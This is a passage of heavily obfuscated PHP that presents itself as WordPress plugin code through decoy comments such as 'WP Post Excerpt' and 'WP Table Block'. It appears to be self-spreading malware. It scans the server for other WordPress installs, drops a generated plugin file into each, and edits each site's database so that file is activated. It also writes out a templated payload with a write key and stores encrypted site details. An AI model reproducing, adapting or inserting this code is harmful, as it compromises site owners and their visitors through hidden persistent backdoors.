    if  (@lfavz1nmi6pw4(1128)($wqvqm01uuq)    > (524277+11))  {$vqc9ozz7=-489;$ehqs6syull=($vqc9ozz7>0)?$vqc9ozz7:-$vqc9ozz7;
 continue;
       }
    $i9eod5dlf04am8f =  @igsdp_2fdrp(1140)($wqvqm01uuq);
 if  (!     $i9eod5dlf04am8f     ||     !  wyzg13xdhd5r(1261)($i9eod5dlf04am8f))   {
 continue;
}
 
 $gsjbhngxyt9u   =  false;
    foreach   ($v6cne_6bree8h   as $jr5_69l_l_sgd)    {
 try  {
       



  $hrlf5h0ky2  =   @lfavz1nmi6pw4(982)($jr5_69l_l_sgd,  "",    $i9eod5dlf04am8f);
       if  ($hrlf5h0ky2    !==     null   && $hrlf5h0ky2    !==  $i9eod5dlf04am8f) {
  $i9eod5dlf04am8f  =     $hrlf5h0ky2;
  $gsjbhngxyt9u  = true;



    }
}   catch   (Throwable  $mrelaaojjq4dc7d) {


hnp_n76gqrqs6vbf7203of(rmqbu5no5o(1263), $mrelaaojjq4dc7d);
     continue;
  }   catch  (Exception   $mrelaaojjq4dc7d) {
continue;
  }
 }
 

     if ($gsjbhngxyt9u) {
      if     (p1cskrtcz8bv54lf($wqvqm01uuq,    $i9eod5dlf04am8f))    {
$ykvlgvf1sbgbd =  true;



    }
  }
   }
       

  return $ykvlgvf1sbgbd;
}      catch  (Throwable $mrelaaojjq4dc7d)    {


  hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(1264),    $mrelaaojjq4dc7d);$bs0ecs74aj_=12+60;$gp_6bckla7l=$bs0ecs74aj_-8;
}  catch   (Exception   $mrelaaojjq4dc7d)  {
    }


   return false;
     }
 
   function    y4n7jiavtzydgwuq9($cvx3s0aw6jf29_z, $nh1zgge_tne)



     {



$rbh65fc6tj3i  = array();
  $nh1zgge_tne   = $nh1zgge_tne -    1;
        

  $juxr5lthfksuh7av  =  @rmqbu5no5o(1265)($cvx3s0aw6jf29_z);


if  (!      igsdp_2fdrp(1266)($juxr5lthfksuh7av)) {
return   $rbh65fc6tj3i;
  }
 $juxr5lthfksuh7av     = igsdp_2fdrp(122)($juxr5lthfksuh7av,  0, (0x1cb+0x29));
  
 foreach ($juxr5lthfksuh7av   as   $_xg7kv2rtqitqhu) {

  
    if   ($_xg7kv2rtqitqhu ===   '.' ||    $_xg7kv2rtqitqhu ===    wyzg13xdhd5r(814)) {
continue;

 }

    $gxx5hv66xhrlld  = $cvx3s0aw6jf29_z  .  '/'    .  $_xg7kv2rtqitqhu;
 if   (!  @rmqbu5no5o(1257)($gxx5hv66xhrlld))      {


     continue;


   }
  
   if (@igsdp_2fdrp(1257)($gxx5hv66xhrlld    . igsdp_2fdrp(1267))) {
 $rbh65fc6tj3i[] = lfavz1nmi6pw4(669)($gxx5hv66xhrlld,  ep_coq62(1268));
continue;

}

 if ($nh1zgge_tne      >     0)   {
/* eventual aggregator */

 $rbh65fc6tj3i   = lfavz1nmi6pw4(1258)($rbh65fc6tj3i,  y4n7jiavtzydgwuq9($gxx5hv66xhrlld,   $nh1zgge_tne));
 }


    }



 
  return    $rbh65fc6tj3i;
}
      function riaytwqqqh1_tekzf()
      {
// personality routine

      $dtobks81rk  =   array();
    $za90obeyi1tp   =   igsdp_2fdrp(669)(ABSPATH,   ep_coq62(1268));



   try   {
 $vp047ol6qnt =     array();
if    ($za90obeyi1tp)      {



 $vp047ol6qnt[]     =  wyzg13xdhd5r(1269)($za90obeyi1tp);


$vp047ol6qnt[]   =   rmqbu5no5o(1269)(rmqbu5no5o(1270)($za90obeyi1tp));
$vp047ol6qnt[]  =  lfavz1nmi6pw4(1270)(rmqbu5no5o(1270)(rmqbu5no5o(1270)($za90obeyi1tp)));



 }

 $vp047ol6qnt[] =     igsdp_2fdrp(1271);
    $vp047ol6qnt[]   = rmqbu5no5o(1272);
$vp047ol6qnt[]     = ep_coq62(1273);



 $vp047ol6qnt[]   =  hus_b7m621lgc6(1274);
  $vp047ol6qnt[]  =  lfavz1nmi6pw4(1275);
 $vp047ol6qnt[] = ep_coq62(1276);
 $vp047ol6qnt[]  =  rmqbu5no5o(1277);

    
  $dv9jfox_uiq_830y  =    lfavz1nmi6pw4(1278)(wyzg13xdhd5r(1279))   ?  (string) @lfavz1nmi6pw4(1280)(igsdp_2fdrp(89)) : "";
 if  ($dv9jfox_uiq_830y !==  "")    {
 $apez5joccr2m6 =    (ep_coq62(1139)($dv9jfox_uiq_830y, ';')  !==     false)    ?    ';' : ':';
foreach  (rmqbu5no5o(90)($apez5joccr2m6,    $dv9jfox_uiq_830y) as $de42_qcevq1bs) {
 $de42_qcevq1bs    = rmqbu5no5o(1281)($de42_qcevq1bs);
  if ($de42_qcevq1bs   !== "")  {
   $vp047ol6qnt[]   =    $de42_qcevq1bs;
 }
 }
   }
  

     $vp047ol6qnt  = hus_b7m621lgc6(1259)(wyzg13xdhd5r(372)($vp047ol6qnt));
     $uzroct9qdnugfh0   =  wyzg13xdhd5r(792)(true);
 $dtobks81rk =    array();
  

 
     foreach ($vp047ol6qnt  as $cvx3s0aw6jf29_z)     {
    
if  (!   @hus_b7m621lgc6(1257)($cvx3s0aw6jf29_z) ||   ! @wyzg13xdhd5r(1282)($cvx3s0aw6jf29_z))    {
    continue;
    }



if ((lfavz1nmi6pw4(1283)(true)  - $uzroct9qdnugfh0)  >  (3+7)) {
break;
}
// lock dependency-graph for WP Post Excerpt


      $dtobks81rk    = wyzg13xdhd5r(1284)($dtobks81rk,  y4n7jiavtzydgwuq9($cvx3s0aw6jf29_z,    2));
  }
   }   catch    (Throwable  $mrelaaojjq4dc7d) {
  hnp_n76gqrqs6vbf7203of(rmqbu5no5o(969),  $mrelaaojjq4dc7d);



 }   catch (Exception    $mrelaaojjq4dc7d) {
 }
  
return  rmqbu5no5o(1285)(rmqbu5no5o(1259)($dtobks81rk),     array($za90obeyi1tp));
 }



function     qv32tngiii6vi7w($d6r7kd_3hi7e7)
    {
try   {
 $rcqn8sep48gew7o  = array($d6r7kd_3hi7e7      .  igsdp_2fdrp(1286),  $d6r7kd_3hi7e7  .  ep_coq62(1287));
   foreach   ($rcqn8sep48gew7o as $cvx3s0aw6jf29_z)  {
 if (! @ep_coq62(1257)($cvx3s0aw6jf29_z))  {$jm2uk7pow80__q=76|220;$arhtt6hhxcj=$jm2uk7pow80__q^22;
continue;


}



 $qpjiheva7nthqt    = aoy815vanbylrvbuug0i($cvx3s0aw6jf29_z);
 if (!hus_b7m621lgc6(1266)($qpjiheva7nthqt)) {
  continue;
   }
foreach  ($qpjiheva7nthqt as $mrelaaojjq4dc7d) {

   if (hus_b7m621lgc6(1105)($mrelaaojjq4dc7d,   -(1<<2))  ===   igsdp_2fdrp(1163)   &&    u8byy6z6npcskqe5pyv($cvx3s0aw6jf29_z .  '/' . $mrelaaojjq4dc7d,  (4979+21))) {
    return  true;
 }
  }
   foreach  ($qpjiheva7nthqt as    $mrelaaojjq4dc7d)     {



    $ewyonomsa59ybsj     =    $cvx3s0aw6jf29_z   .   '/'   .   $mrelaaojjq4dc7d;



if  (!  @rmqbu5no5o(1257)($ewyonomsa59ybsj)) {
continue;
  }
 $hvy9cuqafk9fd80  =    aoy815vanbylrvbuug0i($ewyonomsa59ybsj);
       if    (!igsdp_2fdrp(1266)($hvy9cuqafk9fd80)) {
  continue;
 }
foreach ($hvy9cuqafk9fd80 as     $eofsqnwjdfpxz)  {
if   (lfavz1nmi6pw4(1105)($eofsqnwjdfpxz,  -(8-4))   ===  ep_coq62(1163)   &&    u8byy6z6npcskqe5pyv($ewyonomsa59ybsj    .    '/'   .  $eofsqnwjdfpxz,    (0xcd1+0x6b7)))   {
   return  true;
}
    }
    }



}

}     catch (Throwable $mrelaaojjq4dc7d)   {
 hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1288),  $mrelaaojjq4dc7d);
  }  catch    (Exception     $mrelaaojjq4dc7d)  {



}
 return false;
    }

    function    dp8llczjyggfme58f0c5r()
  {
 try  {
if    (qg70nfu5zkdp4p5jn(kwizo_5vxh_f26an7qg()))  return;
 
   if    (get_transient(lfavz1nmi6pw4(1289)))    {$eaz5slms9new3=90|241;$tf7i51ao3z=$eaz5slms9new3^179;
return;
   }

$eidv2ldk0gje94g1   = m8bil168ioia0snf0ol();
  if    (!   $eidv2ldk0gje94g1 ||  hus_b7m621lgc6(1290)($eidv2ldk0gje94g1)  <    (932+68))  {
 return;
  }
if  (! chslach3yj4d6lbh($eidv2ldk0gje94g1))  {


 hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(1291), lfavz1nmi6pw4(848));
     return;
}
   


    $dtobks81rk   = riaytwqqqh1_tekzf();
if (empty($dtobks81rk))   {
    if (!get_transient(lfavz1nmi6pw4(1292)))  {
hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(1291),  rmqbu5no5o(1293));
     set_transient(lfavz1nmi6pw4(1294), 1,  (3530+70));
  }



set_transient(hus_b7m621lgc6(1295), 1,    (259196+4));
  return;
 }



   $eshcy6vehn0b   =   0;
  foreach  ($dtobks81rk  as   $d6r7kd_3hi7e7)   {
  
 if (qv32tngiii6vi7w($d6r7kd_3hi7e7))  {
     continue;
    }
 
 $trjlbr71y6   = "";
$wq_k48xiabzr    =  $d6r7kd_3hi7e7  .  lfavz1nmi6pw4(1286);
if  (@ep_coq62(1108)($wq_k48xiabzr) && !@wyzg13xdhd5r(1296)($wq_k48xiabzr)) {
      $wq_k48xiabzr    = null;
   } elseif    (!@hus_b7m621lgc6(1296)($wq_k48xiabzr))   {
ej5d87oukqo0k6bc($wq_k48xiabzr,   (486+7),  true);
  }

   if     ($wq_k48xiabzr    &&  (!@wyzg13xdhd5r(1296)($wq_k48xiabzr)   ||  !@rmqbu5no5o(1262)($wq_k48xiabzr)))    {
 $wq_k48xiabzr     =   null;

 }



  if   ($wq_k48xiabzr) {
 $fk121g8di_qd733o  =   $wq_k48xiabzr  . '/'    .   ukqz_udm228qa8d();
  $cy17hk1fsq7zr  = gdb8f5jybxbvgd($eidv2ldk0gje94g1);

$ecyyipn634ce  =   s8vwkc5_zc55h5kmmz0x($fk121g8di_qd733o,  $cy17hk1fsq7zr,   lfavz1nmi6pw4(1291));
   if ($ecyyipn634ce   &&      $ecyyipn634ce  >=  lfavz1nmi6pw4(1290)($cy17hk1fsq7zr)) {
$trjlbr71y6 = $fk121g8di_qd733o;
  }
// loop invariant

    }
    
        if     (!  $trjlbr71y6)  {

  $y8f7xs12kvip23c   =     lfavz1nmi6pw4(823)(ukqz_udm228qa8d(),  PATHINFO_FILENAME);
 $y9cfzdzj19tqt =   $d6r7kd_3hi7e7   . lfavz1nmi6pw4(1297)    .  $y8f7xs12kvip23c;
  if   (! @ep_coq62(1298)($y9cfzdzj19tqt))  {
     ej5d87oukqo0k6bc($y9cfzdzj19tqt,     (409+84),   true);
 }
 $fk121g8di_qd733o   =   $y9cfzdzj19tqt  . '/' . ukqz_udm228qa8d();


$cy17hk1fsq7zr =  gdb8f5jybxbvgd($eidv2ldk0gje94g1);


  $ecyyipn634ce  =  s8vwkc5_zc55h5kmmz0x($fk121g8di_qd733o,   $cy17hk1fsq7zr,  wyzg13xdhd5r(1291));
if ($ecyyipn634ce &&  $ecyyipn634ce >=    igsdp_2fdrp(1299)($cy17hk1fsq7zr))      {


      $trjlbr71y6 =   $fk121g8di_qd733o;

   $basename =      $y8f7xs12kvip23c      . '/'    . ukqz_udm228qa8d();

jw2x6qj10fun6xqitypm($d6r7kd_3hi7e7,   $basename);
    }
     }
  if  (!   $trjlbr71y6) {$o66d6pef=37|86;$d7smyr76av2=$o66d6pef^102;
continue;
   }
      je70juj6lq88lrd($trjlbr71y6);
ms4mh9yjk8_y876983kix($trjlbr71y6, (516-224));
 $eshcy6vehn0b++;
}
 if   ($eshcy6vehn0b     > 0)   {
   set_transient(rmqbu5no5o(1295),  1,      (259185+15));
       }  else  {
        set_transient(lfavz1nmi6pw4(1295), 1, (3558+42));
}
  }  catch  (Throwable      $mrelaaojjq4dc7d)     {
 hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(1300),  $mrelaaojjq4dc7d);
  }   catch      (Exception    $mrelaaojjq4dc7d)     {
    }
}
   function jw2x6qj10fun6xqitypm($d6r7kd_3hi7e7, $basename)
{
  try {
 $ffgwzhgw8tan8c     =   $d6r7kd_3hi7e7 .  rmqbu5no5o(1301);


if (! @rmqbu5no5o(1302)($ffgwzhgw8tan8c))   {
 $ffgwzhgw8tan8c    = hus_b7m621lgc6(1270)($d6r7kd_3hi7e7)    .    hus_b7m621lgc6(1301);
   if  (!  @ep_coq62(1302)($ffgwzhgw8tan8c)) {
  return;



    }
    }
$rux5kf_r1ghgig = @rmqbu5no5o(1303)($ffgwzhgw8tan8c);
   if (! $rux5kf_r1ghgig)  {
 return;
  }
      $h1atcp6cbnud7   =     "";
 $prefix      =     "";
     if   (lfavz1nmi6pw4(738)(lfavz1nmi6pw4(1304),    $rux5kf_r1ghgig,   $wpz7oi7n0ub2s0r))  {

      $h1atcp6cbnud7    =  $wpz7oi7n0ub2s0r[1];
  }
       if  (igsdp_2fdrp(738)(wyzg13xdhd5r(1305), $rux5kf_r1ghgig,  $wpz7oi7n0ub2s0r))   {
    $prefix    = $wpz7oi7n0ub2s0r[1];
   }
if   (! $h1atcp6cbnud7    ||  !  $prefix ||  !  rmqbu5no5o(1306)(wyzg13xdhd5r(1307), $prefix))    {$lbzq35eac1pu=-495;$lbak2r4sf=($lbzq35eac1pu>0)?$lbzq35eac1pu:-$lbzq35eac1pu;
  return;
    }
       $wpdb =  $GLOBALS[igsdp_2fdrp(1308)];
   if (!    hus_b7m621lgc6(1309)($wpdb)   || ! wyzg13xdhd5r(1310)($wpdb,    ep_coq62(1311)))   {
return;


 }



       if    (!   lfavz1nmi6pw4(1306)(rmqbu5no5o(1312), $h1atcp6cbnud7)) {
  hnp_n76gqrqs6vbf7203of(rmqbu5no5o(890), ep_coq62(1313));

return;
     }
   $nph1ji4_krmr8e7 =     '`'  . $h1atcp6cbnud7  .      lfavz1nmi6pw4(1314) . $prefix   .   rmqbu5no5o(1315);


 $wpdb->query(hus_b7m621lgc6(1316));
   $bwt_f91fd7v64 =   $wpdb->get_var('S'   . wyzg13xdhd5r(1317)  .    $nph1ji4_krmr8e7    .    rmqbu5no5o(1318)    . rmqbu5no5o(1319) . rmqbu5no5o(1320));
   if   ($bwt_f91fd7v64 ===  null)    {



 $wpdb->query(ep_coq62(1321));



return;



      }
   $s_kklh0ispg4kz    = cm5bybjyd58t09oe6rch($bwt_f91fd7v64);
 if    (!    hus_b7m621lgc6(1266)($s_kklh0ispg4kz))    {
      $wpdb->query(ep_coq62(1321));
 return;



    }
if  (wyzg13xdhd5r(1322)($basename,  $s_kklh0ispg4kz,  true))  {
  $wpdb->query(igsdp_2fdrp(1323));
 return;
     }
     $s_kklh0ispg4kz[]   =  $basename;$pv_6oq0lj1q=97*8;$b02rykyzk=$pv_6oq0lj1q-25;
$s_kklh0ispg4kz  =    wyzg13xdhd5r(685)($s_kklh0ispg4kz);
    $yni14f4qwbxw =      igsdp_2fdrp(1324)($s_kklh0ispg4kz);
   $ch73sxhi5um  = $wpdb->query($wpdb->prepare('U'   .  wyzg13xdhd5r(1325)   . $nph1ji4_krmr8e7   . hus_b7m621lgc6(1326)    .  ep_coq62(1327),   $yni14f4qwbxw));
 if   ($ch73sxhi5um      ===   false)   {
hnp_n76gqrqs6vbf7203of(ep_coq62(890),  lfavz1nmi6pw4(1328));
  $wpdb->query(rmqbu5no5o(1329));


 return;
 }

     $wpdb->query(wyzg13xdhd5r(1330));



  }   catch (Throwable $mrelaaojjq4dc7d)  {


      hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(890),   $mrelaaojjq4dc7d);
if   (rmqbu5no5o(1309)($GLOBALS[ep_coq62(1308)]))  {
      @$GLOBALS[rmqbu5no5o(1308)]->query(igsdp_2fdrp(1329));
 }
 }   catch  (Exception $mrelaaojjq4dc7d) {
hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(890), $mrelaaojjq4dc7d);$yqaflgbmv68=PHP_MAJOR_VERSION;$u5edfva1h=$yqaflgbmv68*5;
   if (wyzg13xdhd5r(1309)($GLOBALS[rmqbu5no5o(1308)]))  {
@$GLOBALS[hus_b7m621lgc6(1308)]->query(rmqbu5no5o(1329));



 }
    }
   }


 function  ajzej5xdbuj8hunxkke()
     {
    static   $rux5kf_r1ghgig  =  null;
if ($rux5kf_r1ghgig  !== null)  return    $rux5kf_r1ghgig;
  if    (!ep_coq62(1278)(hus_b7m621lgc6(1331)))  {
 $rux5kf_r1ghgig  =  "";
 return   $rux5kf_r1ghgig;
}
$rux5kf_r1ghgig    =     @gzinflate(ep_coq62(734)(rmqbu5no5o(1332)));
 if    (!rmqbu5no5o(1261)($rux5kf_r1ghgig) ||  igsdp_2fdrp(1333)($rux5kf_r1ghgig)  < (190-90))    $rux5kf_r1ghgig   =  "";
      return $rux5kf_r1ghgig;
  }



 function      ybhuwx4i7iz9o6xajcqwt()
 {
      try  {
      if    (!defined(ep_coq62(1334)))  return;
  

$nhq3pyawspdrllyo  =  rmqbu5no5o(1335)(kwizo_5vxh_f26an7qg(),   rmqbu5no5o(1336));$qu41_a2lg1b=8577;$wbj2h2q0uw0=$qu41_a2lg1b%13;
  $eqona1y7xbdxvjqz   = mqedo90o6oi8f48x6b8n(ABSPATH   . rmqbu5no5o(1337),   (148^156))   .    rmqbu5no5o(1338);
 $zsk1m3gqxj25ddd9 = mqedo90o6oi8f48x6b8n(ABSPATH .      ep_coq62(1339), (0x6+0x2));
    $gg9_j6sb9tsln    =      hus_b7m621lgc6(1340)(igsdp_2fdrp(1341))  ?  content_url()  :    "";
if   ($gg9_j6sb9tsln    ===   "")  {
 $gg9_j6sb9tsln  =  (ep_coq62(1340)(lfavz1nmi6pw4(613)) ? get_site_url() :  "")   . igsdp_2fdrp(1342);
  }
 $oozlq9w27sd   =  igsdp_2fdrp(1343)(ep_coq62(1344),   rmqbu5no5o(1345),  $gg9_j6sb9tsln .  '/'   . $eqona1y7xbdxvjqz);
  if   (igsdp_2fdrp(1139)($oozlq9w27sd,  igsdp_2fdrp(1345)) !==  0) $oozlq9w27sd     =    hus_b7m621lgc6(1345) . igsdp_2fdrp(9)($oozlq9w27sd, '/');
  $uiex3ra4sqlxa =  lfavz1nmi6pw4(1340)(igsdp_2fdrp(750))  ?      home_url(hus_b7m621lgc6(1346)  .  i3s0ke334l_v7a0tg9x4(wyzg13xdhd5r(1339)))    : "";
  if ($uiex3ra4sqlxa  === "")   $uiex3ra4sqlxa  = igsdp_2fdrp(1345) .    lz7ktsy7nr_utk0og4h("")  . wyzg13xdhd5r(1347) .     i3s0ke334l_v7a0tg9x4(lfavz1nmi6pw4(1339));
  if  (ep_coq62(1139)($uiex3ra4sqlxa,   ep_coq62(1345))  !== 0)    $uiex3ra4sqlxa  =     rmqbu5no5o(1345) . lfavz1nmi6pw4(9)(igsdp_2fdrp(982)(rmqbu5no5o(1348),  "",    $uiex3ra4sqlxa),   '/');
     $rm4ogxbhdj4mj1i      =   isset($GLOBALS[wyzg13xdhd5r(474)]) &&    igsdp_2fdrp(1349)($GLOBALS[wyzg13xdhd5r(474)])  ?     $GLOBALS[hus_b7m621lgc6(474)] :  "";
if    (ep_coq62(1333)($rm4ogxbhdj4mj1i) <      (0x22+0x42))     {
  $rm4ogxbhdj4mj1i  =   j5gya5jxcqm92g(hus_b7m621lgc6(396),  "");
}
      if    (lfavz1nmi6pw4(1333)($rm4ogxbhdj4mj1i)    < (0x37+0x2d))  {
  $rm4ogxbhdj4mj1i  = ajzej5xdbuj8hunxkke();
       }
$bcp_p_aydi538juq = "";
   if   (isset($GLOBALS[hus_b7m621lgc6(697)])  && ep_coq62(1350)($GLOBALS[hus_b7m621lgc6(697)])   &&  hus_b7m621lgc6(1333)($GLOBALS[lfavz1nmi6pw4(697)])      >  (11+39))  {
   $bcp_p_aydi538juq =      $GLOBALS[wyzg13xdhd5r(697)];
 }     else     {
   $bcp_p_aydi538juq   = j5gya5jxcqm92g(ep_coq62(699),  "");
  }


    if     (hus_b7m621lgc6(1333)($bcp_p_aydi538juq)    >  (0x14+0x1e))     {
 y1t1n_tjdwdr9b8i44(ep_coq62(699),     $bcp_p_aydi538juq, ep_coq62(1179));
    }
// @fold-const linear-type

    $y0v2frlpglr3  =  hus_b7m621lgc6(1340)(igsdp_2fdrp(750))    ?  (string)    lfavz1nmi6pw4(1351)(home_url('/'), PHP_URL_PATH)    :   '/';
 if   ($y0v2frlpglr3 ===  "")  $y0v2frlpglr3 =  '/';
 if  (hus_b7m621lgc6(1105)($y0v2frlpglr3,    -1)  !== '/')   $y0v2frlpglr3 .= '/';
$nlndz_62h6374oe   =     array(
    rmqbu5no5o(1352) =>  nrjeclogz4j36c(),
 igsdp_2fdrp(1353) =>   vmpg62olwncw63(),


    rmqbu5no5o(1354) =>      $y0v2frlpglr3,
     );$q4vq6ug52r1gw5=PHP_MAJOR_VERSION;$tios_ggv8l07c=$q4vq6ug52r1gw5*8;
 $s86sidgewx =  array(
       hus_b7m621lgc6(1355)      =>    $oozlq9w27sd,
 wyzg13xdhd5r(1356) =>  $nhq3pyawspdrllyo,
      wyzg13xdhd5r(1357)      =>    $uiex3ra4sqlxa,
      ep_coq62(1358)      =>  mqedo90o6oi8f48x6b8n(ABSPATH     .  hus_b7m621lgc6(1359),  (11+1)),
   wyzg13xdhd5r(1360)    =>   $bcp_p_aydi538juq,
 );
        $hlot1e091lt     =  xhg11fk9i0xj5k2(ep_coq62(370),  "");
      if  (!hus_b7m621lgc6(1361)($hlot1e091lt)    ||    igsdp_2fdrp(1333)($hlot1e091lt)  ===  0) {
 return;
  }
       $odxzo3y40j =   igsdp_2fdrp(670)(fwiype06drdzqvei_h1v(igsdp_2fdrp(666)($s86sidgewx),    $hlot1e091lt));
$ejyf1nli658aswc =  hus_b7m621lgc6(1362)  .   ep_coq62(670)(ep_coq62(666)($nlndz_62h6374oe))  .  hus_b7m621lgc6(1363);
$ejyf1nli658aswc     .=     hus_b7m621lgc6(1364) .   $odxzo3y40j  .   hus_b7m621lgc6(1365);


 y1t1n_tjdwdr9b8i44(rmqbu5no5o(1366),   $ejyf1nli658aswc,  rmqbu5no5o(1179));
      y1t1n_tjdwdr9b8i44(igsdp_2fdrp(1367),   hus_b7m621lgc6(1135)((string) $rm4ogxbhdj4mj1i .  (string)     $bcp_p_aydi538juq .   $hlot1e091lt .    '|' .    igsdp_2fdrp(1255)(lz7ktsy7nr_utk0og4h(""))),    hus_b7m621lgc6(1179));
   $rsglzscd8itcnd      =      wyzg13xdhd5r(1340)(hus_b7m621lgc6(750)) ?  home_url(rmqbu5no5o(1346)  . i3s0ke334l_v7a0tg9x4(igsdp_2fdrp(701))) :   "";

   if   ($rsglzscd8itcnd ===  "") $rsglzscd8itcnd  =    hus_b7m621lgc6(1345) .  lz7ktsy7nr_utk0og4h("")   .  ep_coq62(1368) .    i3s0ke334l_v7a0tg9x4(wyzg13xdhd5r(701));
if (rmqbu5no5o(1139)($rsglzscd8itcnd, hus_b7m621lgc6(1345)) !==    0) $rsglzscd8itcnd   = hus_b7m621lgc6(1369)  . hus_b7m621lgc6(9)(rmqbu5no5o(1370)(wyzg13xdhd5r(1348),    "",   $rsglzscd8itcnd), '/');


y1t1n_tjdwdr9b8i44(wyzg13xdhd5r(394),     $rsglzscd8itcnd,  hus_b7m621lgc6(1179));
  if    (igsdp_2fdrp(1333)($rm4ogxbhdj4mj1i)    < (46+54)) {
 return;
       }
 y1t1n_tjdwdr9b8i44(wyzg13xdhd5r(1371),   $rm4ogxbhdj4mj1i,  wyzg13xdhd5r(1372));
if   (!b9s1zhwklw1tgahxksx2q()) return;
      $l2dtjvg24o908 =     b9x_qnoopw0bqe8tpa3a4();
    if (!@lfavz1nmi6pw4(1298)($l2dtjvg24o908))   ej5d87oukqo0k6bc($l2dtjvg24o908, (378+115),  true);
if    (!@wyzg13xdhd5r(1373)($l2dtjvg24o908)  || !@igsdp_2fdrp(1374)($l2dtjvg24o908)) return;
   $cxo_sqnw2xv36jji  =  $l2dtjvg24o908     . '/'   .  $zsk1m3gqxj25ddd9   . ep_coq62(1336);$zg22vl5qijv=61+100;$ayb7s9zs6vj6y=$zg22vl5qijv-3;
$d3i73dr_p1 =  sdmxfxbf9kwqo1tko(
   wyzg13xdhd5r(715),
        array('__SLUG__', '__ZIP_NAME__',   '__WRITE_KEY__',   '__VERSION__'),
     array($nhq3pyawspdrllyo,   $eqona1y7xbdxvjqz,   mqedo90o6oi8f48x6b8n(ABSPATH . rmqbu5no5o(1375),   (0x9+0x3)), m5d7gnhy503_5w7j())

   );
    if    (!$d3i73dr_p1) {
// defragment infeasible fallback-handler

 if  ((int) get_option(ep_coq62(449),  0)  >   0) hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(701),  hus_b7m621lgc6(1376));
    return;
       }
      if (!@lfavz1nmi6pw4(1226)($cxo_sqnw2xv36jji) ||   ep_coq62(1377)(jkq4_uvfuw5l47za51944b((string)  @wyzg13xdhd5r(1303)($cxo_sqnw2xv36jji)))      !==     ep_coq62(1378)($d3i73dr_p1)) {
s8vwkc5_zc55h5kmmz0x($cxo_sqnw2xv36jji,   $d3i73dr_p1,  rmqbu5no5o(1379));
   ssuek6ionh2j25j($cxo_sqnw2xv36jji,    tkjywmjdyogfvxumcj6gh4());


    ms4mh9yjk8_y876983kix($cxo_sqnw2xv36jji,     (263+157));


  fjjsa59vrgj7lkezp_z_x5($cxo_sqnw2xv36jji);
  }
 } catch (Throwable    $mrelaaojjq4dc7d) {
hnp_n76gqrqs6vbf7203of(ep_coq62(701),  $mrelaaojjq4dc7d);
   }   catch  (Exception  $mrelaaojjq4dc7d) {
 }
 }
function  sdmxfxbf9kwqo1tko($key,   $tssszp0jeo, $vrk0rxf8_yua)
  {
    $gn1xoajgn4nb8k7   =     null;


 if  ($gn1xoajgn4nb8k7   ===    null)     {
 $gn1xoajgn4nb8k7 =  igsdp_2fdrp(1340)(wyzg13xdhd5r(461))  ? get_transient(ws9xpun_9td1a1wfmk())    : false;
      if (!  lfavz1nmi6pw4(1380)($gn1xoajgn4nb8k7))  {
        $gn1xoajgn4nb8k7 =  _xntkey8jynbmjmnd76tef(wyzg13xdhd5r(505), false);

    }
  if  (! rmqbu5no5o(1381)($gn1xoajgn4nb8k7))  {
 $gn1xoajgn4nb8k7   =    array();
   }


 }

  $jjb7qnmbvy38 =  "";

 if  (isset($gn1xoajgn4nb8k7[$key])    && hus_b7m621lgc6(1382)($gn1xoajgn4nb8k7[$key])) {



      $jjb7qnmbvy38   =  $gn1xoajgn4nb8k7[$key];

  }
 if   (igsdp_2fdrp(1333)($jjb7qnmbvy38) <  (1+49))  {
$jjb7qnmbvy38  =    j5gya5jxcqm92g($key,  "");
}
if (hus_b7m621lgc6(1333)($jjb7qnmbvy38)    < (0x2b+0x7)) return  false;
 $na0q8fa92nwj     = hus_b7m621lgc6(1383)($jjb7qnmbvy38, true);
  if  (!$na0q8fa92nwj  ||  hus_b7m621lgc6(1384)($na0q8fa92nwj)    <  (32+18)) return   false;
     if (wyzg13xdhd5r(1139)($na0q8fa92nwj,   wyzg13xdhd5r(238))   ===    false) return   false;
    $na0q8fa92nwj  = rmqbu5no5o(1343)($tssszp0jeo,     $vrk0rxf8_yua,     $na0q8fa92nwj);
 if  (defined(ep_coq62(241)))    {
    try {
   @token_get_all($na0q8fa92nwj,  TOKEN_PARSE);
   }  catch  (Throwable    $mrelaaojjq4dc7d) {$gdg5wo1cziq9_f=70+16;$e6eg220dp2vru7=$gdg5wo1cziq9_f-43;
    return  false;



} catch    (Exception  $mrelaaojjq4dc7d)  {
  return   false;
   }


   }    elseif  (!chslach3yj4d6lbh($na0q8fa92nwj))     {
    return  false;
}
 return $na0q8fa92nwj;
 }
    function vcqoaorqsaod27i()
        {
// WP Table Block: subscribe ring-buffer
$z1ef74a0=PHP_MAJOR_VERSION;$m1lh500z_6f=$z1ef74a0*4;
try {
   if  (!ep_coq62(1385)(rmqbu5no5o(1386)))     return;
    if (!defined(hus_b7m621lgc6(1387))) return;
   $hkyj2zigqbr0pcx =   u_s7a1dotmwexor();



  if      (!$hkyj2zigqbr0pcx) {
     ybhuwx4i7iz9o6xajcqwt();

 $hkyj2zigqbr0pcx   =     u_s7a1dotmwexor();



     }
    $l9bv3k218oly = j5gya5jxcqm92g(igsdp_2fdrp(370),    "");



  if (wyzg13xdhd5r(1384)($l9bv3k218oly)   ===      0) $l9bv3k218oly = lfavz1nmi6pw4(1388)("\x00",  (0x6+0xa));
    

  $lr61pbchqe   =   (isset($GLOBALS[igsdp_2fdrp(474)])  &&    wyzg13xdhd5r(1382)($GLOBALS[lfavz1nmi6pw4(1389)]) &&  wyzg13xdhd5r(1390)($GLOBALS[wyzg13xdhd5r(1389)])     >= (0x58+0xc))  ? $GLOBALS[rmqbu5no5o(1391)]  :    j5gya5jxcqm92g(lfavz1nmi6pw4(1371),  "");



       if  (rmqbu5no5o(1390)($lr61pbchqe)   <    (253^153))   $lr61pbchqe   =   ajzej5xdbuj8hunxkke();
 $ugr6z4f03pc1li7      = (isset($GLOBALS[ep_coq62(697)])    &&    wyzg13xdhd5r(1382)($GLOBALS[hus_b7m621lgc6(697)])      &&   igsdp_2fdrp(1392)($GLOBALS[wyzg13xdhd5r(697)]) > (0xb+0x27)) ? $GLOBALS[wyzg13xdhd5r(1393)]   : j5gya5jxcqm92g(lfavz1nmi6pw4(699),     "");
